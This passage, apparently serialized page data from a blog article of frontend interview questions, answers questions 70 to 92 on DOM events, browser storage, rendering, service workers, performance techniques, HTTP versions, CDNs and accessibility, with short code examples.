e.target.",[132,48216,48217],{"class":158},"closest",[132,48219,243],{"class":138},[132,48221,48222],{"class":165},"'li'",[132,48224,249],{"class":138},[132,48226,48227,48229,48231,48233,48236],{"class":134,"line":176},[132,48228,14051],{"class":209},[132,48230,5454],{"class":138},[132,48232,2576],{"class":209},[132,48234,48235],{"class":138},"li) ",[132,48237,48238],{"class":209},"return\n",[132,48240,48241,48243,48245,48247,48250],{"class":134,"line":186},[132,48242,3140],{"class":138},[132,48244,3143],{"class":158},[132,48246,243],{"class":138},[132,48248,48249],{"class":165},"'Clicked'",[132,48251,48252],{"class":138},", li.textContent)\n",[132,48254,48255],{"class":134,"line":193},[132,48256,3156],{"class":138},[11,48258,48259,48260,48263,48264,48267],{},"Why bother? Two reasons. One, you only attach one listener instead of hundreds, which is faster and uses less memory. Two, it works for elements that do not exist yet: any ",[18,48261,48262],{},"\u003Cli>"," you add later still triggers the parent's listener, because the bubbling does not care that the listener was attached before the child existed. This is exactly how libraries like jQuery's ",[18,48265,48266],{},".on()"," worked, and why server rendered apps with dynamic content use this pattern heavily.",[34,48269,48271,48272,592,48274,1349],{"id":48270},"_71-what-is-the-difference-between-eventpreventdefault-and-eventstoppropagation","71. What is the difference between ",[18,48273,2022],{},[18,48275,2049],{},[11,48277,48278],{},"They sound similar but do completely different things.",[11,48280,48281,48283,48284,48287],{},[18,48282,2100],{}," cancels the ",[62,48285,48286],{},"browser's default behaviour"," for the event. For a form submit event, that means the form does not submit. For a click on a link, that means the browser does not navigate. For a checkbox click, that means the checked state does not toggle.",[11,48289,48290,48293,48294,48297],{},[18,48291,48292],{},"stopPropagation()"," stops the event from continuing to ",[62,48295,48296],{},"propagate"," through the DOM. It does not affect the browser's default behaviour at all; it just hides the event from ancestor listeners.",[123,48299,48301],{"className":388,"code":48300,"language":390,"meta":128,"style":128},"form.addEventListener('submit', (e) => {\n    e.preventDefault()              // do not actually submit the form\n    saveAjax(form)\n})\n\nchildButton.addEventListener('click', (e) => {\n    e.stopPropagation()             // do not let parent's click listener see this\n})\n",[18,48302,48303,48325,48338,48346,48350,48354,48375,48388],{"__ignoreMap":128},[132,48304,48305,48308,48310,48312,48315,48317,48319,48321,48323],{"class":134,"line":135},[132,48306,48307],{"class":138},"form.",[132,48309,12799],{"class":158},[132,48311,243],{"class":138},[132,48313,48314],{"class":165},"'submit'",[132,48316,48193],{"class":138},[132,48318,48196],{"class":697},[132,48320,5284],{"class":138},[132,48322,2662],{"class":209},[132,48324,316],{"class":138},[132,48326,48327,48330,48332,48335],{"class":134,"line":149},[132,48328,48329],{"class":138},"    e.",[132,48331,14777],{"class":158},[132,48333,48334],{"class":138},"()              ",[132,48336,48337],{"class":397},"// do not actually submit the form\n",[132,48339,48340,48343],{"class":134,"line":176},[132,48341,48342],{"class":158},"    saveAjax",[132,48344,48345],{"class":138},"(form)\n",[132,48347,48348],{"class":134,"line":186},[132,48349,3156],{"class":138},[132,48351,48352],{"class":134,"line":193},[132,48353,190],{"emptyLinePlaceholder":189},[132,48355,48356,48359,48361,48363,48365,48367,48369,48371,48373],{"class":134,"line":206},[132,48357,48358],{"class":138},"childButton.",[132,48360,12799],{"class":158},[132,48362,243],{"class":138},[132,48364,20117],{"class":165},[132,48366,48193],{"class":138},[132,48368,48196],{"class":697},[132,48370,5284],{"class":138},[132,48372,2662],{"class":209},[132,48374,316],{"class":138},[132,48376,48377,48379,48382,48385],{"class":134,"line":222},[132,48378,48329],{"class":138},[132,48380,48381],{"class":158},"stopPropagation",[132,48383,48384],{"class":138},"()             ",[132,48386,48387],{"class":397},"// do not let parent's click listener see this\n",[132,48389,48390],{"class":134,"line":227},[132,48391,3156],{"class":138},[11,48393,48394,48395,48397,48398,48400],{},"You often want one and not the other. A common mistake is calling ",[18,48396,48292],{}," when you really meant ",[18,48399,2100],{},", and being confused that the form still submits.",[34,48402,48404,48405,592,48407,1349],{"id":48403},"_72-what-is-the-difference-between-addeventlistener-and-onclick","72. What is the difference between ",[18,48406,12799],{},[18,48408,48409],{},"onclick",[11,48411,48412,48414,48415,48418],{},[18,48413,48409],{}," (and other ",[18,48416,48417],{},"on*"," properties) is a single property on the element. Assigning to it overwrites whatever was there before, so you can only have one handler at a time.",[11,48420,48421,48423,48424,48426,48427,581,48430,17731,48432,385],{},[18,48422,12799],{}," is a method that registers a handler in a list. You can register many handlers for the same event without overwriting each other, you can remove specific ones with ",[18,48425,12821],{},", and you can pass options like ",[18,48428,48429],{},"{ once: true }",[18,48431,48151],{},[18,48433,48434],{},"{ passive: true }",[123,48436,48438],{"className":388,"code":48437,"language":390,"meta":128,"style":128},"btn.onclick = () => console.log('A')\nbtn.onclick = () => console.log('B')   // replaces A\n\nbtn.addEventListener('click', () => console.log('A'))\nbtn.addEventListener('click', () => console.log('B'))   // both run\n",[18,48439,48440,48464,48490,48494,48518],{"__ignoreMap":128},[132,48441,48442,48445,48447,48449,48451,48453,48455,48457,48459,48462],{"class":134,"line":135},[132,48443,48444],{"class":138},"btn.",[132,48446,48409],{"class":158},[132,48448,237],{"class":209},[132,48450,19719],{"class":138},[132,48452,2662],{"class":209},[132,48454,5289],{"class":138},[132,48456,3143],{"class":158},[132,48458,243],{"class":138},[132,48460,48461],{"class":165},"'A'",[132,48463,249],{"class":138},[132,48465,48466,48468,48470,48472,48474,48476,48478,48480,48482,48485,48487],{"class":134,"line":149},[132,48467,48444],{"class":138},[132,48469,48409],{"class":158},[132,48471,237],{"class":209},[132,48473,19719],{"class":138},[132,48475,2662],{"class":209},[132,48477,5289],{"class":138},[132,48479,3143],{"class":158},[132,48481,243],{"class":138},[132,48483,48484],{"class":165},"'B'",[132,48486,10485],{"class":138},[132,48488,48489],{"class":397},"// replaces A\n",[132,48491,48492],{"class":134,"line":176},[132,48493,190],{"emptyLinePlaceholder":189},[132,48495,48496,48498,48500,48502,48504,48506,48508,48510,48512,48514,48516],{"class":134,"line":186},[132,48497,48444],{"class":138},[132,48499,12799],{"class":158},[132,48501,243],{"class":138},[132,48503,20117],{"class":165},[132,48505,14884],{"class":138},[132,48507,2662],{"class":209},[132,48509,5289],{"class":138},[132,48511,3143],{"class":158},[132,48513,243],{"class":138},[132,48515,48461],{"class":165},[132,48517,15413],{"class":138},[132,48519,48520,48522,48524,48526,48528,48530,48532,48534,48536,48538,48540,48543],{"class":134,"line":193},[132,48521,48444],{"class":138},[132,48523,12799],{"class":158},[132,48525,243],{"class":138},[132,48527,20117],{"class":165},[132,48529,14884],{"class":138},[132,48531,2662],{"class":209},[132,48533,5289],{"class":138},[132,48535,3143],{"class":158},[132,48537,243],{"class":138},[132,48539,48484],{"class":165},[132,48541,48542],{"class":138},"))   ",[132,48544,48545],{"class":397},"// both run\n",[11,48547,48548,48550,48551,48553],{},[18,48549,12799],{}," is the modern default, and there is rarely a reason to use ",[18,48552,48409],{}," in new code outside of quick demos.",[34,48555,48557,48558,581,48560,48562],{"id":48556},"_73-what-is-the-difference-between-localstorage-sessionstorage-and-cookies","73. What is the difference between ",[18,48559,6033],{},[18,48561,15973],{},", and cookies?",[11,48564,48565],{},"All three let the browser store data on the user's machine, but they have very different lifetimes, sizes, and behaviours.",[479,48567,48568,48580],{},[482,48569,48570],{},[485,48571,48572,48574,48576,48578],{},[488,48573,40092],{},[488,48575,6033],{},[488,48577,15973],{},[488,48579,41189],{},[498,48581,48582,48595,48607,48619,48631],{},[485,48583,48584,48587,48590,48592],{},[503,48585,48586],{},"Capacity",[503,48588,48589],{},"Around 5 to 10MB",[503,48591,48589],{},[503,48593,48594],{},"Around 4KB total",[485,48596,48597,48599,48601,48604],{},[503,48598,40127],{},[503,48600,40130],{},[503,48602,48603],{},"Until the tab is closed",[503,48605,48606],{},"Configurable expiry",[485,48608,48609,48612,48614,48616],{},[503,48610,48611],{},"Sent to the server",[503,48613,5999],{},[503,48615,5999],{},[503,48617,48618],{},"Yes, with every request",[485,48620,48621,48623,48625,48627],{},[503,48622,40152],{},[503,48624,3298],{},[503,48626,3298],{},[503,48628,40159,48629],{},[18,48630,40162],{},[485,48632,48633,48636,48638,48641],{},[503,48634,48635],{},"Per origin?",[503,48637,3298],{},[503,48639,48640],{},"Yes (and per tab)",[503,48642,48643],{},"Yes (with path / domain rules)",[11,48645,48646],{},[1268,48647],{"alt":48648,"src":48649},"Browser storage comparison diagram","/post-images/top-100-frontend-interview-questions/browser-storage-comparison-diagram.png",[11,48651,48652,48653,48655,48656,48658,48659,592,48661,48663,48664,48666],{},"Practical guidance: use ",[18,48654,6033],{}," for non sensitive user preferences (theme, last visited page). Use ",[18,48657,15973],{}," for temporary state tied to the current tab (like a wizard's progress). Use cookies for things the server needs to see automatically (especially auth tokens, with ",[18,48660,40162],{},[18,48662,40359],{}," flags). Never put sensitive data like access tokens in ",[18,48665,6033],{},", because any script running on your page can read it.",[11,48668,48669,48670,385],{},"For a deeper, more practical version of this comparison, read ",[23,48671,48673],{"href":48672},"/post/local-storage-vs-session-storage-vs-cookies","Local Storage vs Session Storage vs Cookies",[34,48675,48677],{"id":48676},"_74-what-is-indexeddb","74. What is IndexedDB?",[11,48679,48680,48681,48683],{},"IndexedDB is a low level, in browser database designed for storing large amounts of structured data. Where ",[18,48682,6033],{}," is a key value store limited to a few megabytes of strings, IndexedDB can hold much more (often hundreds of MB), supports indexes for fast lookup, supports transactions, and can store complex JavaScript values directly (objects, blobs, files).",[11,48685,48686,48687,1334,48690,48693],{},"The downside is that the API is famously verbose and asynchronous. Most projects use a small wrapper library like ",[18,48688,48689],{},"idb",[18,48691,48692],{},"Dexie.js"," rather than calling the raw API. IndexedDB is the right tool for offline first apps, caching API responses for the long term, or storing user uploaded files locally.",[34,48695,48697],{"id":48696},"_75-what-is-the-critical-rendering-path","75. What is the critical rendering path?",[11,48699,48700],{},"The critical rendering path is the sequence of steps the browser takes to turn HTML, CSS, and JavaScript into actual pixels on the screen.",[11,48702,48703],{},[1268,48704],{"alt":48705,"src":48706},"Critical rendering path diagram","/post-images/top-100-frontend-interview-questions/critical-rendering-path-diagram.png",[11,48708,48709],{},"The stages, in order:",[14180,48711,48712,48718,48724,48734,48739,48745],{},[59,48713,48714,48717],{},[62,48715,48716],{},"Parse HTML"," into the DOM tree.",[59,48719,48720,48723],{},[62,48721,48722],{},"Parse CSS"," into the CSSOM (CSS Object Model) tree.",[59,48725,48726,48729,48730,48733],{},[62,48727,48728],{},"Combine"," them into the ",[62,48731,48732],{},"render tree",", which contains only visible elements with their computed styles.",[59,48735,48736,48738],{},[62,48737,9248],{},": compute the exact size and position of every box.",[59,48740,48741,48744],{},[62,48742,48743],{},"Paint",": turn each box into actual pixels in memory.",[59,48746,48747,48750],{},[62,48748,48749],{},"Composite",": combine the painted layers into the final image you see.",[11,48752,48753],{},"Two practical implications: CSS blocks rendering (the browser will not paint until CSS is loaded), and synchronous JavaScript blocks parsing (the browser stops building the DOM while it runs your script). That is why minimising blocking resources is the first thing you do for performance.",[34,48755,48757],{"id":48756},"_76-what-is-reflow-layout-and-repaint","76. What is reflow (layout) and repaint?",[11,48759,48760],{},"These are two stages of the rendering pipeline that happen whenever something on the page changes.",[11,48762,48763,48766],{},[62,48764,48765],{},"Reflow"," (also called layout) is the process of recalculating where elements go and how big they are. It happens when you change anything that affects geometry: width, height, font size, content, position. Reflow is expensive because changing one element often forces the browser to recalculate its parents and siblings too.",[11,48768,48769,48772],{},[62,48770,48771],{},"Repaint"," is the process of redrawing the pixels for an element after layout is done, or when a non geometric property changes (color, background, visibility). Repaint is cheaper than reflow but still costs work.",[11,48774,48775,48776,48779,48780,592,48782,48784],{},"The fastest changes are ones that need only ",[62,48777,48778],{},"compositing",", not layout or paint. ",[18,48781,43504],{},[18,48783,43511],{}," usually fall into this category, because they can be done by the GPU without touching the geometry of the page. That is why these two properties are the gold standard for smooth animations.",[34,48786,48788],{"id":48787},"_77-what-is-a-service-worker","77. What is a service worker?",[11,48790,48791],{},"A service worker is a script the browser runs in the background, completely separate from any web page. It sits between your page and the network, and it can intercept every request your page makes. That gives it superpowers like serving cached responses when offline, prefetching resources for later, and receiving push notifications even when no tab is open.",[11,48793,48794,48795,48798],{},"Service workers are the foundation of Progressive Web Apps (PWAs). The basic lifecycle: your page registers the worker, the browser installs and activates it, and from then on the worker runs whenever the page is open or whenever a push event arrives. Service workers can only run on HTTPS (or ",[18,48796,48797],{},"localhost","), because the ability to intercept requests would be a serious attack vector otherwise.",[34,48800,11245,48802,46584,48805,48808],{"id":48801},"_78-what-is-the-difference-between-iframe-postmessage-and-shared-workers",[18,48803,48804],{},"\u003Ciframe>",[18,48806,48807],{},"postMessage"," and shared workers?",[11,48810,48811],{},"These solve very different problems, but interviewers sometimes lump them together.",[11,48813,48814,48816,48817,48819,48820,48822],{},[18,48815,48807],{}," is a cross window messaging API. It lets a page send messages to another window, an ",[18,48818,48804],{},", or a popup, even when they are on different origins. The receiver listens for the ",[18,48821,2933],{}," event. This is how, for example, an embedded payment iframe communicates back to its host page.",[11,48824,3374,48825,48828],{},[62,48826,48827],{},"shared worker"," is a separate JavaScript thread that multiple tabs from the same origin can talk to and share. It is useful when you want one piece of work (like maintaining a long lived WebSocket) to be shared across all open tabs of your site, instead of each tab opening its own.",[11,48830,48831,48832,48834,48835,48838,48839,48842],{},"Different problems: ",[18,48833,48807],{}," is for cross origin ",[62,48836,48837],{},"communication"," between windows; shared workers are for shared ",[62,48840,48841],{},"computation"," within an origin.",[34,48844,48846],{"id":48845},"_79-what-is-the-difference-between-synchronous-and-asynchronous-javascript","79. What is the difference between synchronous and asynchronous JavaScript?",[11,48848,48849,48852],{},[62,48850,48851],{},"Synchronous"," code runs top to bottom, one line at a time, and each line finishes before the next one starts. If a line takes a long time (a complex calculation, a synchronous network call), the rest of your code, and the rest of your page, has to wait.",[11,48854,48855,48858],{},[62,48856,48857],{},"Asynchronous"," code starts an operation and continues running. The result comes back later, through a callback, a Promise, or an event. Network requests, timers, file I/O, and user input are all asynchronous in the browser.",[123,48860,48862],{"className":388,"code":48861,"language":390,"meta":128,"style":128},"// synchronous\nconst x = 1 + 1\nconsole.log(x)\n\n// asynchronous\nfetch('/api/users')\n    .then(res => res.json())\n    .then(users => console.log(users))\nconsole.log('this runs first, before users arrive')\n",[18,48863,48864,48869,48883,48892,48896,48901,48912,48931,48950],{"__ignoreMap":128},[132,48865,48866],{"class":134,"line":135},[132,48867,48868],{"class":397},"// synchronous\n",[132,48870,48871,48873,48875,48877,48879,48881],{"class":134,"line":149},[132,48872,230],{"class":209},[132,48874,12711],{"class":233},[132,48876,237],{"class":209},[132,48878,46912],{"class":233},[132,48880,46909],{"class":209},[132,48882,43972],{"class":233},[132,48884,48885,48887,48889],{"class":134,"line":176},[132,48886,3889],{"class":138},[132,48888,3143],{"class":158},[132,48890,48891],{"class":138},"(x)\n",[132,48893,48894],{"class":134,"line":186},[132,48895,190],{"emptyLinePlaceholder":189},[132,48897,48898],{"class":134,"line":193},[132,48899,48900],{"class":397},"// asynchronous\n",[132,48902,48903,48905,48907,48910],{"class":134,"line":206},[132,48904,21046],{"class":158},[132,48906,243],{"class":138},[132,48908,48909],{"class":165},"'/api/users'",[132,48911,249],{"class":138},[132,48913,48914,48917,48919,48921,48923,48925,48927,48929],{"class":134,"line":222},[132,48915,48916],{"class":138},"    .",[132,48918,6411],{"class":158},[132,48920,243],{"class":138},[132,48922,6416],{"class":697},[132,48924,2675],{"class":209},[132,48926,6421],{"class":138},[132,48928,6424],{"class":158},[132,48930,4560],{"class":138},[132,48932,48933,48935,48937,48939,48941,48943,48945,48947],{"class":134,"line":227},[132,48934,48916],{"class":138},[132,48936,6411],{"class":158},[132,48938,243],{"class":138},[132,48940,9445],{"class":697},[132,48942,2675],{"class":209},[132,48944,5289],{"class":138},[132,48946,3143],{"class":158},[132,48948,48949],{"class":138},"(users))\n",[132,48951,48952,48954,48956,48958,48961],{"class":134,"line":252},[132,48953,3889],{"class":138},[132,48955,3143],{"class":158},[132,48957,243],{"class":138},[132,48959,48960],{"class":165},"'this runs first, before users arrive'",[132,48962,249],{"class":138},[11,48964,48965],{},"JavaScript is single threaded, so async is how it stays responsive. If everything were synchronous, every network request would freeze the browser tab while it waited.",[34,48967,11574,48969,581,48972,626,48975,1349],{"id":48968},"_80-what-is-the-difference-between-window-document-and-navigator",[18,48970,48971],{},"Window",[18,48973,48974],{},"Document",[18,48976,48977],{},"Navigator",[11,48979,48980],{},"All three are objects available globally in the browser, but they represent different things.",[56,48982,48983,48995,49005],{},[59,48984,48985,48987,48988,581,48990,626,48993,385],{},[18,48986,48971],{}," is the global object. It represents the browser tab (or the iframe) and is where global variables live. It also exposes things like ",[18,48989,6480],{},[18,48991,48992],{},"alert",[18,48994,6033],{},[59,48996,48997,48999,49000,581,49002,9122],{},[18,48998,48974],{}," represents the loaded page. It is the root of the DOM tree, and it is how you reach elements (",[18,49001,47962],{},[18,49003,49004],{},"document.querySelector",[59,49006,49007,49009,49010,581,49013,581,49016,626,49019,49022],{},[18,49008,48977],{}," represents the browser itself. Things like ",[18,49011,49012],{},"navigator.userAgent",[18,49014,49015],{},"navigator.onLine",[18,49017,49018],{},"navigator.clipboard",[18,49020,49021],{},"navigator.geolocation"," live here.",[11,49024,49025,49026,49029,49030,49033,49034,385],{},"You can think of it as: window is ",[62,49027,49028],{},"where I am",", document is ",[62,49031,49032],{},"what I am looking at",", and navigator is ",[62,49035,49036],{},"what I am using to look at it",[29,49038,49040],{"id":49039},"performance-and-optimization","Performance and Optimization",[34,49042,49044],{"id":49043},"_81-what-is-lazy-loading","81. What is lazy loading?",[11,49046,49047],{},"Lazy loading is the practice of postponing the loading of a resource until you actually need it. The classic example is images: rather than downloading every image on a long page when it first loads, the browser only fetches each image as the user scrolls near it.",[11,49049,49050],{},"For images and iframes, the browser supports lazy loading natively:",[123,49052,49054],{"className":2950,"code":49053,"language":2952,"meta":128,"style":128},"\u003Cimg src=\"hero.jpg\" loading=\"lazy\" alt=\"...\" width=\"800\" height=\"600\" />\n\u003Ciframe src=\"...\" loading=\"lazy\">\u003C/iframe>\n",[18,49055,49056,49102],{"__ignoreMap":128},[132,49057,49058,49060,49062,49064,49066,49069,49072,49074,49077,49079,49081,49084,49087,49089,49092,49095,49097,49100],{"class":134,"line":135},[132,49059,139],{"class":138},[132,49061,1268],{"class":142},[132,49063,41571],{"class":158},[132,49065,162],{"class":138},[132,49067,49068],{"class":165},"\"hero.jpg\"",[132,49070,49071],{"class":158}," loading",[132,49073,162],{"class":138},[132,49075,49076],{"class":165},"\"lazy\"",[132,49078,41579],{"class":158},[132,49080,162],{"class":138},[132,49082,49083],{"class":165},"\"...\"",[132,49085,49086],{"class":158}," width",[132,49088,162],{"class":138},[132,49090,49091],{"class":165},"\"800\"",[132,49093,49094],{"class":158}," height",[132,49096,162],{"class":138},[132,49098,49099],{"class":165},"\"600\"",[132,49101,1287],{"class":138},[132,49103,49104,49106,49109,49111,49113,49115,49117,49119,49121,49123,49125],{"class":134,"line":149},[132,49105,139],{"class":138},[132,49107,49108],{"class":142},"iframe",[132,49110,41571],{"class":158},[132,49112,162],{"class":138},[132,49114,49083],{"class":165},[132,49116,49071],{"class":158},[132,49118,162],{"class":138},[132,49120,49076],{"class":165},[132,49122,1767],{"class":138},[132,49124,49108],{"class":142},[132,49126,146],{"class":138},[11,49128,49129,49130,49132],{},"For JavaScript, lazy loading usually means dynamic ",[18,49131,14397],{},", which loads a module only when called. This is especially useful for large features that not every user will reach (settings pages, admin panels, complex editors). The benefit is faster initial loads, lower data usage, and less battery for everyone, especially on mobile.",[34,49134,49136],{"id":49135},"_82-what-is-code-splitting","82. What is code splitting?",[11,49138,49139],{},"Code splitting is the practice of breaking your JavaScript into multiple smaller bundles that the browser downloads on demand, instead of one giant bundle that the user has to wait for upfront.",[11,49141,49142,49143,49145],{},"Modern bundlers (Webpack, Rollup, Vite, esbuild) split automatically when they encounter a dynamic ",[18,49144,14397],{},". Each split point produces its own chunk that is fetched only when needed. The result is that the initial page paints faster, because the user only downloads the code required for the route they are on, not for every route in the app.",[11,49147,49148],{},"The most common patterns: split per route (each page is its own chunk), split per heavy library (the chart library only loads on the analytics page), and split per modal or dialog that is rare to open.",[34,49150,49152],{"id":49151},"_83-what-is-tree-shaking","83. What is tree shaking?",[11,49154,49155],{},"Tree shaking is the build step that removes code that is exported but never imported, so it never makes it into the final bundle. The \"tree\" is the dependency graph of your imports, and \"shaking\" the tree means dropping the leaves (unused exports) that fall off.",[11,49157,49158,49159,4319,49161,49163,49164,49167,49168,1556,49171,49174],{},"For tree shaking to work, two things have to be true. First, you have to use ES Modules (",[18,49160,210],{},[18,49162,807],{},"), because they are statically analysable. CommonJS (",[18,49165,49166],{},"require",") is too dynamic to shake reliably. Second, the bundler needs to know that the code has no side effects, which usually means setting ",[18,49169,49170],{},"\"sideEffects\": false",[18,49172,49173],{},"package.json"," and avoiding top level code that does anything observable.",[11,49176,49177],{},"Done right, tree shaking can take a 200KB library import and ship only the few KB you actually use.",[34,49179,49181],{"id":49180},"_84-what-is-the-difference-between-minification-compression-and-bundling","84. What is the difference between minification, compression, and bundling?",[11,49183,49184],{},"These three steps usually happen together, but they do different things.",[56,49186,49187,49193,49199],{},[59,49188,49189,49192],{},[62,49190,49191],{},"Bundling"," combines many source files into one or a few output files. The motivation is fewer HTTP requests and a chance for the bundler to optimise across files.",[59,49194,49195,49198],{},[62,49196,49197],{},"Minification"," rewrites the source itself to be smaller: stripping whitespace, shortening variable names, removing dead code, collapsing expressions. The output is still valid JavaScript, just unreadable.",[59,49200,49201,49204],{},[62,49202,49203],{},"Compression"," is done at the HTTP level, usually gzip or Brotli. The server compresses the response, the browser decompresses it. This can shave off another 60 to 80% on top of minification, because text compresses well.",[11,49206,49207],{},"A typical production pipeline: bundle, then minify, then let the server / CDN compress. All three are essentially free wins, and you should always have them on for production.",[34,49209,49211],{"id":49210},"_85-what-are-the-core-web-vitals","85. What are the Core Web Vitals?",[11,49213,49214],{},"Core Web Vitals are Google's three key user experience metrics. They are designed to capture how a real user perceives a page: how fast it shows up, how responsive it feels, and how stable it is.",[56,49216,49217,49223,49229],{},[59,49218,49219,49222],{},[62,49220,49221],{},"LCP (Largest Contentful Paint)",": how long it takes for the largest visible element (usually a hero image or a big heading) to render. Target: under 2.5 seconds. This measures perceived load speed.",[59,49224,49225,49228],{},[62,49226,49227],{},"INP (Interaction to Next Paint)",": how long it takes for the page to update visually after a user interaction (click, tap, key press). Target: under 200 ms. This measures responsiveness. INP replaced FID (First Input Delay) in 2024.",[59,49230,49231,49234],{},[62,49232,49233],{},"CLS (Cumulative Layout Shift)",": how much the content jumps around during loading. Target: under 0.1. This measures visual stability.",[11,49236,49237],{},"Google uses these metrics as a ranking signal for search results, so they matter not only for user experience but also for SEO.",[34,49239,49241],{"id":49240},"_86-what-is-the-difference-between-caching-strategies-cache-first-network-first-stale-while-revalidate","86. What is the difference between caching strategies: cache first, network first, stale while revalidate?",[11,49243,49244],{},"These are the three most common strategies you implement in a service worker (or a CDN) for handling requests.",[56,49246,49247,49253,49259],{},[59,49248,49249,49252],{},[62,49250,49251],{},"Cache first",": try the cache; only hit the network if the cache misses. Fastest possible response. Risk: serving stale content. Best for static assets (CSS, JS, images, fonts).",[59,49254,49255,49258],{},[62,49256,49257],{},"Network first",": try the network; fall back to the cache only if the network fails. Freshest content. Risk: slower, especially on bad networks. Best for HTML pages or API responses where staleness is unacceptable.",[59,49260,49261,49264],{},[62,49262,49263],{},"Stale while revalidate",": return the cached response immediately, then fetch in the background and update the cache for next time. Fast and self healing. Best for content that updates frequently but does not need to be perfectly fresh, like list views or product cards.",[11,49266,49267],{},"Picking the right strategy per resource is the heart of a good offline experience.",[34,49269,49271],{"id":49270},"_87-what-is-the-difference-between-http11-http2-and-http3","87. What is the difference between HTTP/1.1, HTTP/2, and HTTP/3?",[11,49273,49274],{},"Each new version of HTTP fixed a major bottleneck of the previous one.",[11,49276,49277,49280],{},[62,49278,49279],{},"HTTP/1.1"," (1997) is the version the early web ran on. It is text based and sends one request at a time over a connection. To load many resources in parallel, browsers open multiple connections (typically six per origin), but each connection can still only do one thing at a time, so a slow response blocks others on that connection.",[11,49282,49283,49286,49287,49290],{},[62,49284,49285],{},"HTTP/2"," (2015) added ",[62,49288,49289],{},"multiplexing",": many requests and responses can flow over a single connection at once, in any order. It also added header compression (HPACK) and binary framing. Big improvement, but it still runs on TCP, so a single dropped packet stalls all streams on the connection (head of line blocking at the transport layer).",[11,49292,49293,49296],{},[62,49294,49295],{},"HTTP/3"," (2022) replaces TCP with QUIC, which runs on UDP. Each stream gets its own loss recovery, so a dropped packet only blocks the stream it belongs to. It also has faster connection setup (TLS handshake folded into the first round trip).",[11,49298,49299],{},"For developers, the practical takeaway: HTTP/2 and HTTP/3 reward serving many small resources over one connection, which is the opposite of the old HTTP/1 advice of bundling everything into a few files.",[34,49301,49303],{"id":49302},"_88-what-is-a-cdn","88. What is a CDN?",[11,49305,49306],{},"A CDN (Content Delivery Network) is a globally distributed network of servers that cache your static assets. Instead of every user fetching your CSS and images from your origin server (which might be in one data center), they download from the CDN node closest to them, which can be hundreds of locations worldwide.",[11,49308,49309],{},"The benefits add up fast: lower latency (closer servers), reduced load on your origin (most requests never reach it), automatic protection against traffic spikes, and often built in security features (DDoS protection, web application firewall). Popular CDNs include Cloudflare, Fastly, AWS CloudFront, and Akamai.",[11,49311,49312],{},"For most websites today, putting a CDN in front of your origin is one of the highest leverage performance changes you can make, often free or very cheap.",[34,49314,49316,49317,581,49319,49321],{"id":49315},"_89-what-is-the-difference-between-defer-async-and-module-preload-for-performance","89. What is the difference between ",[18,49318,41618],{},[18,49320,4917],{},", and module preload for performance?",[11,49323,49324],{},"These all influence when scripts download and run, and they have different sweet spots.",[56,49326,49327,49332,49337],{},[59,49328,49329,49331],{},[18,49330,41618],{},": download in parallel, run after HTML parsing, in document order. Best default for application scripts that need the DOM.",[59,49333,49334,49336],{},[18,49335,4917],{},": download in parallel, run as soon as ready, in any order. Best for independent third party scripts that do not depend on each other or the DOM, like analytics.",[59,49338,49339,49342],{},[18,49340,49341],{},"\u003Clink rel=\"modulepreload\" href=\"...\">",": warms the module cache for an ES module you know you will need, including its dependencies. Useful when you have a big module graph and want it ready before the import statement actually runs.",[11,49344,49345],{},"A lot of performance wins come from picking the right one for each script, instead of leaving everything as render blocking by default.",[34,49347,49349],{"id":49348},"_90-how-do-you-optimise-images-for-the-web","90. How do you optimise images for the web?",[11,49351,49352],{},"Images are usually the heaviest part of a page, so there is a lot of leverage here. The main techniques:",[56,49354,49355,49361,49374,49382,49393,49406],{},[59,49356,49357,49360],{},[62,49358,49359],{},"Use modern formats",": AVIF and WebP compress dramatically better than JPEG and PNG, often 30 to 50% smaller at the same quality.",[59,49362,49363,49366,49367,592,49370,49373],{},[62,49364,49365],{},"Serve the right size",": a 2000 pixel wide image displayed at 400 pixels is wasted bandwidth. Use ",[18,49368,49369],{},"srcset",[18,49371,49372],{},"sizes"," so the browser picks the right one for the device.",[59,49375,49376,49381],{},[62,49377,4110,49378],{},[18,49379,49380],{},"loading=\"lazy\""," for images below the fold so they only download when needed.",[59,49383,49384,49392],{},[62,49385,49386,49387,592,49389,49391],{},"Set explicit ",[18,49388,42316],{},[18,49390,42351],{}," attributes"," so the browser reserves space and the page does not jump (this directly improves CLS).",[59,49394,49395,49398,49399,581,49402,49405],{},[62,49396,49397],{},"Compress aggressively",": most photos can drop to 70 to 80% quality without any visible difference; many pipelines use tools like ",[18,49400,49401],{},"sharp",[18,49403,49404],{},"squoosh",", or your CDN's image optimisation API to do this automatically.",[59,49407,49408,49411],{},[62,49409,49410],{},"For decorative or icon use",": prefer SVG, which scales without losing quality and is usually tiny.",[11,49413,49414],{},"Doing all of these is the difference between a 10MB page and a 1MB page that looks the same.",[29,49416,49418],{"id":49417},"accessibility-security-and-misc","Accessibility, Security, and Misc",[34,49420,49422],{"id":49421},"_91-what-is-web-accessibility-a11y","91. What is web accessibility (a11y)?",[11,49424,49425],{},"Accessibility, often shortened to \"a11y\" (because there are 11 letters between the \"a\" and the \"y\"), is the practice of designing and building websites so that people with disabilities can use them. That includes people who are blind or have low vision, people who cannot use a mouse and rely on keyboards or assistive devices, people who are deaf or hard of hearing, and people with cognitive or motor differences.",[11,49427,49428],{},"In practice, accessibility means things like: writing meaningful HTML so screen readers can navigate the page, ensuring everything is reachable by keyboard alone, providing alt text for images and captions for videos, using sufficient color contrast, supporting \"reduce motion\" preferences, and giving form fields proper labels.",[11,49430,49431],{},"The Web Content Accessibility Guidelines (WCAG) provide the formal standards. In many countries accessibility is also a legal requirement for public facing sites.",[34,49433,49435,49436,592,49438,1349],{"id":49434},"_92-what-is-the-difference-between-aria-hidden-and-hidden","92. What is the difference between ",[18,49437,42153],{},[18,49439,49440],{},"hidden",[11,49442,49443],{},"Both hide things, but from different audiences.",[11,49445,49446,49448,49449,49452,49453,49455],{},[18,49447,49440],{}," is a regular HTML attribute. It removes the element from the visual rendering ",[62,49450,49451],{},"and"," from the accessibility tree. It is roughly equivalent to ",[18,49454,42496],{},". Sighted users do not see it; screen reader users do not hear it.",[11,49457,49458,49461,49462,49465],{},[18,49459,49460],{},"aria-hidden=\"true\""," only removes the element from the accessibility tree. The element is still ",[62,49463,49464],{},"visible"," on screen; it is just invisible to assistive technology. This is the right choice for purely decorative content, like an icon next to a label, where the screen reader would otherwise announce it twice or read out something meaningless.",[123,49467,49469],{"className":2950,"code":49468,"language":2952,"meta":128,"style":128},"\u003Cbutton>\n    \u003Csvg aria-hidden=\"true\">...\u003C/svg> 